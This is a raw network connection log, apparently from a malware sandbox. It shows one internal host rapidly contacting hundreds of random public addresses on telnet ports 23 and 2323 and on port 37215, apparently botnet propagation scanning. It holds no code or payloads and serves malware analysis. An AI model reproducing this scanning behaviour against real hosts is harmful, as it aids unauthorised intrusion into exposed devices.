Oct 8, 2024 20:34:43.975965023 CEST	48168	2323	192.168.2.14	41.70.14.224
Oct 8, 2024 20:34:43.975967884 CEST	48168	23	192.168.2.14	24.87.195.193
Oct 8, 2024 20:34:43.976005077 CEST	48168	23	192.168.2.14	146.221.150.129
Oct 8, 2024 20:34:43.976008892 CEST	48168	23	192.168.2.14	62.63.251.82
Oct 8, 2024 20:34:43.976021051 CEST	48168	23	192.168.2.14	183.212.8.69
Oct 8, 2024 20:34:43.976026058 CEST	48168	23	192.168.2.14	45.78.153.153
Oct 8, 2024 20:34:43.976044893 CEST	48168	23	192.168.2.14	149.69.70.199
Oct 8, 2024 20:34:43.976056099 CEST	48168	23	192.168.2.14	160.244.119.2
Oct 8, 2024 20:34:43.976078987 CEST	48168	23	192.168.2.14	192.143.30.71
Oct 8, 2024 20:34:43.976094007 CEST	48168	23	192.168.2.14	54.128.52.183
Oct 8, 2024 20:34:43.980125904 CEST	2323	48168	205.120.223.78	192.168.2.14
Oct 8, 2024 20:34:43.980181932 CEST	48168	2323	192.168.2.14	205.120.223.78
Oct 8, 2024 20:34:43.980196953 CEST	23	48168	20.51.247.88	192.168.2.14
Oct 8, 2024 20:34:43.980210066 CEST	23	48168	70.201.40.80	192.168.2.14
Oct 8, 2024 20:34:43.980221987 CEST	23	48168	9.235.110.159	192.168.2.14
Oct 8, 2024 20:34:43.980233908 CEST	23	48168	120.84.58.115	192.168.2.14
Oct 8, 2024 20:34:43.980245113 CEST	23	48168	167.152.163.124	192.168.2.14
Oct 8, 2024 20:34:43.980254889 CEST	23	48168	76.12.183.181	192.168.2.14
Oct 8, 2024 20:34:43.980259895 CEST	48168	23	192.168.2.14	20.51.247.88
Oct 8, 2024 20:34:43.980263948 CEST	48168	23	192.168.2.14	120.84.58.115
Oct 8, 2024 20:34:43.980263948 CEST	48168	23	192.168.2.14	70.201.40.80
Oct 8, 2024 20:34:43.980266094 CEST	23	48168	185.58.65.43	192.168.2.14
Oct 8, 2024 20:34:43.980267048 CEST	48168	23	192.168.2.14	9.235.110.159
Oct 8, 2024 20:34:43.980277061 CEST	23	48168	77.144.205.213	192.168.2.14
Oct 8, 2024 20:34:43.980283022 CEST	48168	23	192.168.2.14	76.12.183.181
Oct 8, 2024 20:34:43.980285883 CEST	48168	23	192.168.2.14	167.152.163.124
Oct 8, 2024 20:34:43.980288029 CEST	23	48168	166.47.64.4	192.168.2.14
Oct 8, 2024 20:34:43.980299950 CEST	2323	48168	14.142.165.152	192.168.2.14
Oct 8, 2024 20:34:43.980309963 CEST	23	48168	85.46.82.42	192.168.2.14
Oct 8, 2024 20:34:43.980314970 CEST	48168	23	192.168.2.14	185.58.65.43
Oct 8, 2024 20:34:43.980314970 CEST	48168	23	192.168.2.14	77.144.205.213
Oct 8, 2024 20:34:43.980315924 CEST	48168	23	192.168.2.14	166.47.64.4
Oct 8, 2024 20:34:43.980328083 CEST	48168	2323	192.168.2.14	14.142.165.152
Oct 8, 2024 20:34:43.980357885 CEST	48168	23	192.168.2.14	85.46.82.42
Oct 8, 2024 20:34:43.980621099 CEST	36630	1420	192.168.2.14	45.137.198.211
Oct 8, 2024 20:34:43.980750084 CEST	23	48168	177.245.114.0	192.168.2.14
Oct 8, 2024 20:34:43.980761051 CEST	23	48168	164.80.35.201	192.168.2.14
Oct 8, 2024 20:34:43.980772018 CEST	23	48168	86.162.242.210	192.168.2.14
Oct 8, 2024 20:34:43.980784893 CEST	23	48168	142.71.235.32	192.168.2.14
Oct 8, 2024 20:34:43.980796099 CEST	48168	23	192.168.2.14	177.245.114.0
Oct 8, 2024 20:34:43.980811119 CEST	48168	23	192.168.2.14	164.80.35.201
Oct 8, 2024 20:34:43.980813026 CEST	48168	23	192.168.2.14	142.71.235.32
Oct 8, 2024 20:34:43.980813026 CEST	48168	23	192.168.2.14	86.162.242.210
Oct 8, 2024 20:34:43.980863094 CEST	23	48168	46.125.192.163	192.168.2.14
Oct 8, 2024 20:34:43.980875015 CEST	23	48168	205.223.131.194	192.168.2.14
Oct 8, 2024 20:34:43.980885983 CEST	23	48168	166.27.169.186	192.168.2.14
Oct 8, 2024 20:34:43.980906963 CEST	48168	23	192.168.2.14	46.125.192.163
Oct 8, 2024 20:34:43.980907917 CEST	48168	23	192.168.2.14	205.223.131.194
Oct 8, 2024 20:34:43.980910063 CEST	48168	23	192.168.2.14	166.27.169.186
Oct 8, 2024 20:34:43.980942011 CEST	23	48168	206.113.216.43	192.168.2.14
Oct 8, 2024 20:34:43.980952978 CEST	2323	48168	81.111.221.62	192.168.2.14
Oct 8, 2024 20:34:43.980964899 CEST	23	48168	152.189.190.254	192.168.2.14
Oct 8, 2024 20:34:43.980978966 CEST	23	48168	45.234.112.54	192.168.2.14
Oct 8, 2024 20:34:43.980990887 CEST	23	48168	37.211.124.44	192.168.2.14
Oct 8, 2024 20:34:43.980987072 CEST	48168	23	192.168.2.14	206.113.216.43
Oct 8, 2024 20:34:43.980995893 CEST	48168	2323	192.168.2.14	81.111.221.62
Oct 8, 2024 20:34:43.980998993 CEST	48168	23	192.168.2.14	152.189.190.254
Oct 8, 2024 20:34:43.981002092 CEST	23	48168	17.12.240.2	192.168.2.14
Oct 8, 2024 20:34:43.981009007 CEST	48168	23	192.168.2.14	45.234.112.54
Oct 8, 2024 20:34:43.981013060 CEST	23	48168	205.165.176.1	192.168.2.14
Oct 8, 2024 20:34:43.981024027 CEST	23	48168	85.17.11.53	192.168.2.14
Oct 8, 2024 20:34:43.981025934 CEST	48168	23	192.168.2.14	37.211.124.44
Oct 8, 2024 20:34:43.981029987 CEST	48168	23	192.168.2.14	17.12.240.2
Oct 8, 2024 20:34:43.981034040 CEST	23	48168	36.225.40.250	192.168.2.14
Oct 8, 2024 20:34:43.981045008 CEST	23	48168	103.210.167.21	192.168.2.14
Oct 8, 2024 20:34:43.981051922 CEST	48168	23	192.168.2.14	205.165.176.1
Oct 8, 2024 20:34:43.981051922 CEST	48168	23	192.168.2.14	85.17.11.53
Oct 8, 2024 20:34:43.981056929 CEST	23	48168	110.57.174.147	192.168.2.14
Oct 8, 2024 20:34:43.981062889 CEST	48168	23	192.168.2.14	36.225.40.250
Oct 8, 2024 20:34:43.981069088 CEST	2323	48168	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:43.981076002 CEST	48168	23	192.168.2.14	103.210.167.21
Oct 8, 2024 20:34:43.981080055 CEST	23	48168	95.194.173.7	192.168.2.14
Oct 8, 2024 20:34:43.981089115 CEST	23	48168	191.80.13.93	192.168.2.14
Oct 8, 2024 20:34:43.981100082 CEST	23	48168	216.22.164.223	192.168.2.14
Oct 8, 2024 20:34:43.981101036 CEST	48168	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:43.981107950 CEST	48168	23	192.168.2.14	95.194.173.7
Oct 8, 2024 20:34:43.981111050 CEST	23	48168	187.116.228.153	192.168.2.14
Oct 8, 2024 20:34:43.981121063 CEST	48168	23	192.168.2.14	191.80.13.93
Oct 8, 2024 20:34:43.981122017 CEST	23	48168	108.129.36.220	192.168.2.14
Oct 8, 2024 20:34:43.981129885 CEST	48168	23	192.168.2.14	216.22.164.223
Oct 8, 2024 20:34:43.981133938 CEST	23	48168	148.240.114.68	192.168.2.14
Oct 8, 2024 20:34:43.981136084 CEST	48168	23	192.168.2.14	187.116.228.153
Oct 8, 2024 20:34:43.981144905 CEST	23	48168	206.192.111.200	192.168.2.14
Oct 8, 2024 20:34:43.981156111 CEST	23	48168	210.207.140.126	192.168.2.14
Oct 8, 2024 20:34:43.981165886 CEST	48168	23	192.168.2.14	148.240.114.68
Oct 8, 2024 20:34:43.981167078 CEST	23	48168	90.92.194.151	192.168.2.14
Oct 8, 2024 20:34:43.981174946 CEST	48168	23	192.168.2.14	206.192.111.200
Oct 8, 2024 20:34:43.981178999 CEST	23	48168	61.158.129.69	192.168.2.14
Oct 8, 2024 20:34:43.981184959 CEST	48168	23	192.168.2.14	210.207.140.126
Oct 8, 2024 20:34:43.981197119 CEST	48168	23	192.168.2.14	90.92.194.151
Oct 8, 2024 20:34:43.981209993 CEST	48168	23	192.168.2.14	61.158.129.69
Oct 8, 2024 20:34:43.981321096 CEST	2323	48168	181.114.197.8	192.168.2.14
Oct 8, 2024 20:34:43.981333017 CEST	23	48168	72.93.197.17	192.168.2.14
Oct 8, 2024 20:34:43.981343031 CEST	23	48168	211.82.164.220	192.168.2.14
Oct 8, 2024 20:34:43.981353045 CEST	23	48168	122.216.74.115	192.168.2.14
Oct 8, 2024 20:34:43.981355906 CEST	48168	23	192.168.2.14	108.129.36.220
Oct 8, 2024 20:34:43.981355906 CEST	48168	2323	192.168.2.14	181.114.197.8
Oct 8, 2024 20:34:43.981359005 CEST	48168	23	192.168.2.14	72.93.197.17
Oct 8, 2024 20:34:43.981365919 CEST	23	48168	130.179.187.172	192.168.2.14
Oct 8, 2024 20:34:43.981369972 CEST	48168	23	192.168.2.14	211.82.164.220
Oct 8, 2024 20:34:43.981376886 CEST	23	48168	1.24.254.109	192.168.2.14
Oct 8, 2024 20:34:43.981384039 CEST	48168	23	192.168.2.14	122.216.74.115
Oct 8, 2024 20:34:43.981388092 CEST	23	48168	82.238.123.180	192.168.2.14
Oct 8, 2024 20:34:43.981415033 CEST	48168	23	192.168.2.14	1.24.254.109
Oct 8, 2024 20:34:43.981415987 CEST	48168	23	192.168.2.14	110.57.174.147
Oct 8, 2024 20:34:43.981415987 CEST	48168	23	192.168.2.14	82.238.123.180
Oct 8, 2024 20:34:43.981452942 CEST	48168	23	192.168.2.14	130.179.187.172
Oct 8, 2024 20:34:43.981781006 CEST	23	48168	208.240.214.186	192.168.2.14
Oct 8, 2024 20:34:43.981791973 CEST	2323	48168	99.245.10.131	192.168.2.14
Oct 8, 2024 20:34:43.981802940 CEST	23	48168	97.76.120.251	192.168.2.14
Oct 8, 2024 20:34:43.981812954 CEST	23	48168	121.37.59.7	192.168.2.14
Oct 8, 2024 20:34:43.981822968 CEST	23	48168	122.148.9.227	192.168.2.14
Oct 8, 2024 20:34:43.981827974 CEST	48168	23	192.168.2.14	208.240.214.186
Oct 8, 2024 20:34:43.981828928 CEST	48168	2323	192.168.2.14	99.245.10.131
Oct 8, 2024 20:34:43.981832981 CEST	23	48168	108.17.2.31	192.168.2.14
Oct 8, 2024 20:34:43.981843948 CEST	23	48168	92.121.159.182	192.168.2.14
Oct 8, 2024 20:34:43.981844902 CEST	48168	23	192.168.2.14	97.76.120.251
Oct 8, 2024 20:34:43.981844902 CEST	48168	23	192.168.2.14	121.37.59.7
Oct 8, 2024 20:34:43.981849909 CEST	48168	23	192.168.2.14	122.148.9.227
Oct 8, 2024 20:34:43.981854916 CEST	23	48168	84.7.199.200	192.168.2.14
Oct 8, 2024 20:34:43.981865883 CEST	23	48168	58.16.64.5	192.168.2.14
Oct 8, 2024 20:34:43.981867075 CEST	48168	23	192.168.2.14	108.17.2.31
Oct 8, 2024 20:34:43.981878042 CEST	23	48168	202.191.103.142	192.168.2.14
Oct 8, 2024 20:34:43.981888056 CEST	23	48168	90.224.239.159	192.168.2.14
Oct 8, 2024 20:34:43.981893063 CEST	48168	23	192.168.2.14	92.121.159.182
Oct 8, 2024 20:34:43.981893063 CEST	48168	23	192.168.2.14	84.7.199.200
Oct 8, 2024 20:34:43.981897116 CEST	48168	23	192.168.2.14	58.16.64.5
Oct 8, 2024 20:34:43.981899023 CEST	23	48168	64.37.63.139	192.168.2.14
Oct 8, 2024 20:34:43.981911898 CEST	23	48168	41.218.224.72	192.168.2.14
Oct 8, 2024 20:34:43.981920958 CEST	48168	23	192.168.2.14	202.191.103.142
Oct 8, 2024 20:34:43.981924057 CEST	23	48168	92.254.55.171	192.168.2.14
Oct 8, 2024 20:34:43.981925964 CEST	48168	23	192.168.2.14	90.224.239.159
Oct 8, 2024 20:34:43.981928110 CEST	48168	23	192.168.2.14	64.37.63.139
Oct 8, 2024 20:34:43.981935024 CEST	23	48168	150.104.138.96	192.168.2.14
Oct 8, 2024 20:34:43.981939077 CEST	48168	23	192.168.2.14	41.218.224.72
Oct 8, 2024 20:34:43.981945992 CEST	23	48168	86.233.88.112	192.168.2.14
Oct 8, 2024 20:34:43.981947899 CEST	48168	23	192.168.2.14	92.254.55.171
Oct 8, 2024 20:34:43.981956005 CEST	23	48168	151.85.108.195	192.168.2.14
Oct 8, 2024 20:34:43.981964111 CEST	48168	23	192.168.2.14	150.104.138.96
Oct 8, 2024 20:34:43.981966972 CEST	2323	48168	220.44.72.29	192.168.2.14
Oct 8, 2024 20:34:43.981980085 CEST	48168	23	192.168.2.14	86.233.88.112
Oct 8, 2024 20:34:43.981982946 CEST	23	48168	165.69.184.253	192.168.2.14
Oct 8, 2024 20:34:43.981992960 CEST	23	48168	162.177.60.171	192.168.2.14
Oct 8, 2024 20:34:43.981993914 CEST	48168	23	192.168.2.14	151.85.108.195
Oct 8, 2024 20:34:43.982002974 CEST	23	48168	148.148.201.49	192.168.2.14
Oct 8, 2024 20:34:43.982012987 CEST	2323	48168	92.0.135.4	192.168.2.14
Oct 8, 2024 20:34:43.982021093 CEST	48168	23	192.168.2.14	165.69.184.253
Oct 8, 2024 20:34:43.982021093 CEST	48168	23	192.168.2.14	162.177.60.171
Oct 8, 2024 20:34:43.982026100 CEST	23	48168	76.55.123.113	192.168.2.14
Oct 8, 2024 20:34:43.982037067 CEST	48168	23	192.168.2.14	148.148.201.49
Oct 8, 2024 20:34:43.982043028 CEST	48168	2323	192.168.2.14	220.44.72.29
Oct 8, 2024 20:34:43.982048988 CEST	23	48168	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:43.982050896 CEST	48168	2323	192.168.2.14	92.0.135.4
Oct 8, 2024 20:34:43.982059956 CEST	23	48168	203.44.97.153	192.168.2.14
Oct 8, 2024 20:34:43.982062101 CEST	48168	23	192.168.2.14	76.55.123.113
Oct 8, 2024 20:34:43.982070923 CEST	23	48168	209.250.211.145	192.168.2.14
Oct 8, 2024 20:34:43.982076883 CEST	48168	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:43.982080936 CEST	23	48168	14.205.74.67	192.168.2.14
Oct 8, 2024 20:34:43.982091904 CEST	23	48168	135.168.25.249	192.168.2.14
Oct 8, 2024 20:34:43.982098103 CEST	48168	23	192.168.2.14	209.250.211.145
Oct 8, 2024 20:34:43.982104063 CEST	23	48168	162.246.235.148	192.168.2.14
Oct 8, 2024 20:34:43.982115984 CEST	48168	23	192.168.2.14	14.205.74.67
Oct 8, 2024 20:34:43.982115984 CEST	23	48168	193.134.173.232	192.168.2.14
Oct 8, 2024 20:34:43.982124090 CEST	48168	23	192.168.2.14	135.168.25.249
Oct 8, 2024 20:34:43.982126951 CEST	23	48168	19.170.100.31	192.168.2.14
Oct 8, 2024 20:34:43.982136965 CEST	23	48168	178.82.252.159	192.168.2.14
Oct 8, 2024 20:34:43.982142925 CEST	48168	23	192.168.2.14	162.246.235.148
Oct 8, 2024 20:34:43.982144117 CEST	48168	23	192.168.2.14	203.44.97.153
Oct 8, 2024 20:34:43.982144117 CEST	48168	23	192.168.2.14	193.134.173.232
Oct 8, 2024 20:34:43.982151031 CEST	2323	48168	36.241.72.227	192.168.2.14
Oct 8, 2024 20:34:43.982162952 CEST	48168	23	192.168.2.14	19.170.100.31
Oct 8, 2024 20:34:43.982162952 CEST	23	48168	169.135.152.169	192.168.2.14
Oct 8, 2024 20:34:43.982170105 CEST	48168	23	192.168.2.14	178.82.252.159
Oct 8, 2024 20:34:43.982175112 CEST	23	48168	204.5.52.211	192.168.2.14
Oct 8, 2024 20:34:43.982186079 CEST	48168	2323	192.168.2.14	36.241.72.227
Oct 8, 2024 20:34:43.982187033 CEST	23	48168	37.49.119.11	192.168.2.14
Oct 8, 2024 20:34:43.982194901 CEST	48168	23	192.168.2.14	169.135.152.169
Oct 8, 2024 20:34:43.982198000 CEST	23	48168	188.185.241.27	192.168.2.14
Oct 8, 2024 20:34:43.982211113 CEST	23	48168	91.13.229.145	192.168.2.14
Oct 8, 2024 20:34:43.982220888 CEST	23	48168	62.4.159.95	192.168.2.14
Oct 8, 2024 20:34:43.982224941 CEST	48168	23	192.168.2.14	204.5.52.211
Oct 8, 2024 20:34:43.982224941 CEST	48168	23	192.168.2.14	37.49.119.11
Oct 8, 2024 20:34:43.982232094 CEST	48168	23	192.168.2.14	188.185.241.27
Oct 8, 2024 20:34:43.982240915 CEST	48168	23	192.168.2.14	91.13.229.145
Oct 8, 2024 20:34:43.982285023 CEST	48169	37215	192.168.2.14	197.169.44.159
Oct 8, 2024 20:34:43.982302904 CEST	48169	37215	192.168.2.14	156.136.228.139
Oct 8, 2024 20:34:43.982309103 CEST	48169	37215	192.168.2.14	197.120.159.78
Oct 8, 2024 20:34:43.982309103 CEST	48169	37215	192.168.2.14	197.75.45.209
Oct 8, 2024 20:34:43.982340097 CEST	48169	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:43.982341051 CEST	48169	37215	192.168.2.14	197.53.135.75
Oct 8, 2024 20:34:43.982356071 CEST	48169	37215	192.168.2.14	197.146.79.42
Oct 8, 2024 20:34:43.982356071 CEST	48169	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:43.982356071 CEST	48169	37215	192.168.2.14	156.244.34.40
Oct 8, 2024 20:34:43.982362032 CEST	48169	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:43.982373953 CEST	48169	37215	192.168.2.14	197.100.85.188
Oct 8, 2024 20:34:43.982373953 CEST	48169	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:43.982377052 CEST	48169	37215	192.168.2.14	197.242.35.187
Oct 8, 2024 20:34:43.982378960 CEST	48169	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:43.982388973 CEST	48169	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:43.982389927 CEST	48169	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:43.982402086 CEST	48168	23	192.168.2.14	62.4.159.95
Oct 8, 2024 20:34:43.982403994 CEST	48169	37215	192.168.2.14	197.139.250.29
Oct 8, 2024 20:34:43.982405901 CEST	48169	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:43.982405901 CEST	48169	37215	192.168.2.14	156.112.111.237
Oct 8, 2024 20:34:43.982415915 CEST	48169	37215	192.168.2.14	197.114.205.104
Oct 8, 2024 20:34:43.982419968 CEST	23	48168	126.184.78.154	192.168.2.14
Oct 8, 2024 20:34:43.982423067 CEST	48169	37215	192.168.2.14	41.171.155.222
Oct 8, 2024 20:34:43.982433081 CEST	23	48168	109.229.58.0	192.168.2.14
Oct 8, 2024 20:34:43.982435942 CEST	48169	37215	192.168.2.14	156.212.37.239
Oct 8, 2024 20:34:43.982444048 CEST	23	48168	165.127.50.67	192.168.2.14
Oct 8, 2024 20:34:43.982448101 CEST	48169	37215	192.168.2.14	156.252.34.119
Oct 8, 2024 20:34:43.982455969 CEST	48168	23	192.168.2.14	126.184.78.154
Oct 8, 2024 20:34:43.982455969 CEST	2323	48168	155.238.111.186	192.168.2.14
Oct 8, 2024 20:34:43.982459068 CEST	48169	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:43.982459068 CEST	48169	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:43.982461929 CEST	48169	37215	192.168.2.14	41.62.139.88
Oct 8, 2024 20:34:43.982465029 CEST	48169	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:43.982469082 CEST	23	48168	65.124.169.215	192.168.2.14
Oct 8, 2024 20:34:43.982470036 CEST	48168	23	192.168.2.14	109.229.58.0
Oct 8, 2024 20:34:43.982482910 CEST	23	48168	91.124.245.24	192.168.2.14
Oct 8, 2024 20:34:43.982486010 CEST	48168	2323	192.168.2.14	155.238.111.186
Oct 8, 2024 20:34:43.982494116 CEST	23	48168	77.187.131.44	192.168.2.14
Oct 8, 2024 20:34:43.982501984 CEST	48168	23	192.168.2.14	65.124.169.215
Oct 8, 2024 20:34:43.982506037 CEST	23	48168	158.164.12.9	192.168.2.14
Oct 8, 2024 20:34:43.982516050 CEST	23	48168	145.98.2.234	192.168.2.14
Oct 8, 2024 20:34:43.982518911 CEST	48168	23	192.168.2.14	91.124.245.24
Oct 8, 2024 20:34:43.982527971 CEST	48168	23	192.168.2.14	77.187.131.44
Oct 8, 2024 20:34:43.982527971 CEST	23	48168	204.41.146.156	192.168.2.14
Oct 8, 2024 20:34:43.982538939 CEST	48168	23	192.168.2.14	165.127.50.67
Oct 8, 2024 20:34:43.982538939 CEST	48168	23	192.168.2.14	158.164.12.9
Oct 8, 2024 20:34:43.982539892 CEST	23	48168	65.115.25.136	192.168.2.14
Oct 8, 2024 20:34:43.982542038 CEST	48168	23	192.168.2.14	145.98.2.234
Oct 8, 2024 20:34:43.982552052 CEST	23	48168	18.6.47.178	192.168.2.14
Oct 8, 2024 20:34:43.982559919 CEST	48169	37215	192.168.2.14	197.47.170.78
Oct 8, 2024 20:34:43.982563019 CEST	48169	37215	192.168.2.14	197.205.151.131
Oct 8, 2024 20:34:43.982563019 CEST	23	48168	90.228.14.186	192.168.2.14
Oct 8, 2024 20:34:43.982563019 CEST	48169	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:43.982563972 CEST	48168	23	192.168.2.14	204.41.146.156
Oct 8, 2024 20:34:43.982567072 CEST	48168	23	192.168.2.14	65.115.25.136
Oct 8, 2024 20:34:43.982573986 CEST	2323	48168	115.80.9.240	192.168.2.14
Oct 8, 2024 20:34:43.982584000 CEST	48168	23	192.168.2.14	18.6.47.178
Oct 8, 2024 20:34:43.982584953 CEST	23	48168	145.205.113.98	192.168.2.14
Oct 8, 2024 20:34:43.982593060 CEST	48169	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:43.982593060 CEST	48168	23	192.168.2.14	90.228.14.186
Oct 8, 2024 20:34:43.982597113 CEST	23	48168	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:43.982606888 CEST	48168	2323	192.168.2.14	115.80.9.240
Oct 8, 2024 20:34:43.982608080 CEST	23	48168	200.77.28.115	192.168.2.14
Oct 8, 2024 20:34:43.982609987 CEST	48169	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:43.982615948 CEST	48168	23	192.168.2.14	145.205.113.98
Oct 8, 2024 20:34:43.982620001 CEST	23	48168	162.212.204.0	192.168.2.14
Oct 8, 2024 20:34:43.982628107 CEST	48168	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:43.982630968 CEST	23	48168	77.22.13.119	192.168.2.14
Oct 8, 2024 20:34:43.982635975 CEST	48168	23	192.168.2.14	200.77.28.115
Oct 8, 2024 20:34:43.982644081 CEST	23	48168	79.112.195.230	192.168.2.14
Oct 8, 2024 20:34:43.982646942 CEST	48168	23	192.168.2.14	162.212.204.0
Oct 8, 2024 20:34:43.982655048 CEST	23	48168	78.58.178.108	192.168.2.14
Oct 8, 2024 20:34:43.982659101 CEST	48168	23	192.168.2.14	77.22.13.119
Oct 8, 2024 20:34:43.982666969 CEST	23	48168	188.135.77.119	192.168.2.14
Oct 8, 2024 20:34:43.982670069 CEST	48168	23	192.168.2.14	79.112.195.230
Oct 8, 2024 20:34:43.982678890 CEST	23	48168	162.240.134.106	192.168.2.14
Oct 8, 2024 20:34:43.982688904 CEST	48168	23	192.168.2.14	78.58.178.108
Oct 8, 2024 20:34:43.982692003 CEST	2323	48168	85.3.6.123	192.168.2.14
Oct 8, 2024 20:34:43.982698917 CEST	48169	37215	192.168.2.14	156.127.1.25
Oct 8, 2024 20:34:43.982698917 CEST	48168	23	192.168.2.14	188.135.77.119
Oct 8, 2024 20:34:43.982702971 CEST	23	48168	120.75.91.38	192.168.2.14
Oct 8, 2024 20:34:43.982712030 CEST	48168	23	192.168.2.14	162.240.134.106
Oct 8, 2024 20:34:43.982712030 CEST	48169	37215	192.168.2.14	41.225.209.41
Oct 8, 2024 20:34:43.982712984 CEST	23	48168	87.71.191.49	192.168.2.14
Oct 8, 2024 20:34:43.982724905 CEST	23	48168	98.143.56.76	192.168.2.14
Oct 8, 2024 20:34:43.982731104 CEST	48168	2323	192.168.2.14	85.3.6.123
Oct 8, 2024 20:34:43.982731104 CEST	48168	23	192.168.2.14	120.75.91.38
Oct 8, 2024 20:34:43.982734919 CEST	23	48168	212.213.62.210	192.168.2.14
Oct 8, 2024 20:34:43.982737064 CEST	48168	23	192.168.2.14	87.71.191.49
Oct 8, 2024 20:34:43.982747078 CEST	23	48168	206.84.233.88	192.168.2.14
Oct 8, 2024 20:34:43.982748985 CEST	48169	37215	192.168.2.14	156.242.157.164
Oct 8, 2024 20:34:43.982757092 CEST	48168	23	192.168.2.14	98.143.56.76
Oct 8, 2024 20:34:43.982757092 CEST	23	48168	154.99.92.15	192.168.2.14
Oct 8, 2024 20:34:43.982769012 CEST	23	48168	204.54.71.90	192.168.2.14
Oct 8, 2024 20:34:43.982773066 CEST	48168	23	192.168.2.14	212.213.62.210
Oct 8, 2024 20:34:43.982774019 CEST	48169	37215	192.168.2.14	197.94.55.209
Oct 8, 2024 20:34:43.982779980 CEST	23	48168	103.60.127.40	192.168.2.14
Oct 8, 2024 20:34:43.982784986 CEST	48169	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:43.982789993 CEST	48169	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:43.982789993 CEST	48169	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:43.982791901 CEST	23	48168	197.231.119.163	192.168.2.14
Oct 8, 2024 20:34:43.982804060 CEST	2323	48168	88.254.110.224	192.168.2.14
Oct 8, 2024 20:34:43.982806921 CEST	48168	23	192.168.2.14	204.54.71.90
Oct 8, 2024 20:34:43.982810020 CEST	48168	23	192.168.2.14	154.99.92.15
Oct 8, 2024 20:34:43.982810974 CEST	48169	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:43.982810974 CEST	48169	37215	192.168.2.14	156.171.60.191
Oct 8, 2024 20:34:43.982811928 CEST	48169	37215	192.168.2.14	197.247.144.107
Oct 8, 2024 20:34:43.982812881 CEST	48168	23	192.168.2.14	103.60.127.40
Oct 8, 2024 20:34:43.982816935 CEST	48169	37215	192.168.2.14	156.43.132.129
Oct 8, 2024 20:34:43.982827902 CEST	48168	23	192.168.2.14	206.84.233.88
Oct 8, 2024 20:34:43.982830048 CEST	48169	37215	192.168.2.14	41.61.90.18
Oct 8, 2024 20:34:43.982830048 CEST	48168	2323	192.168.2.14	88.254.110.224
Oct 8, 2024 20:34:43.982830048 CEST	48168	23	192.168.2.14	197.231.119.163
Oct 8, 2024 20:34:43.982851982 CEST	48169	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:43.982851982 CEST	48169	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:43.982851982 CEST	48169	37215	192.168.2.14	41.102.203.253
Oct 8, 2024 20:34:43.982855082 CEST	48169	37215	192.168.2.14	41.126.15.131
Oct 8, 2024 20:34:43.982862949 CEST	48169	37215	192.168.2.14	41.33.42.250
Oct 8, 2024 20:34:43.982870102 CEST	48169	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:43.982880116 CEST	48169	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:43.982887030 CEST	23	48168	90.229.84.166	192.168.2.14
Oct 8, 2024 20:34:43.982888937 CEST	48169	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:43.982888937 CEST	48169	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:43.982898951 CEST	23	48168	194.137.125.22	192.168.2.14
Oct 8, 2024 20:34:43.982904911 CEST	48169	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:43.982906103 CEST	48169	37215	192.168.2.14	41.50.101.100
Oct 8, 2024 20:34:43.982909918 CEST	23	48168	144.12.160.27	192.168.2.14
Oct 8, 2024 20:34:43.982919931 CEST	23	48168	98.240.67.209	192.168.2.14
Oct 8, 2024 20:34:43.982925892 CEST	48169	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:43.982925892 CEST	48169	37215	192.168.2.14	197.183.193.206
Oct 8, 2024 20:34:43.982929945 CEST	48169	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:43.982932091 CEST	48168	23	192.168.2.14	90.229.84.166
Oct 8, 2024 20:34:43.982932091 CEST	23	48168	186.80.143.83	192.168.2.14
Oct 8, 2024 20:34:43.982933044 CEST	48169	37215	192.168.2.14	156.33.3.166
Oct 8, 2024 20:34:43.982933044 CEST	48168	23	192.168.2.14	194.137.125.22
Oct 8, 2024 20:34:43.982935905 CEST	48169	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:43.982943058 CEST	48169	37215	192.168.2.14	156.192.248.123
Oct 8, 2024 20:34:43.982943058 CEST	48168	23	192.168.2.14	144.12.160.27
Oct 8, 2024 20:34:43.982944012 CEST	23	48168	120.172.22.83	192.168.2.14
Oct 8, 2024 20:34:43.982944965 CEST	48169	37215	192.168.2.14	156.133.98.88
Oct 8, 2024 20:34:43.982947111 CEST	48169	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:43.982949018 CEST	48168	23	192.168.2.14	98.240.67.209
Oct 8, 2024 20:34:43.982959032 CEST	23	48168	98.113.130.124	192.168.2.14
Oct 8, 2024 20:34:43.982961893 CEST	48169	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:43.982971907 CEST	23	48168	87.61.202.241	192.168.2.14
Oct 8, 2024 20:34:43.982976913 CEST	48168	23	192.168.2.14	186.80.143.83
Oct 8, 2024 20:34:43.982978106 CEST	48168	23	192.168.2.14	120.172.22.83
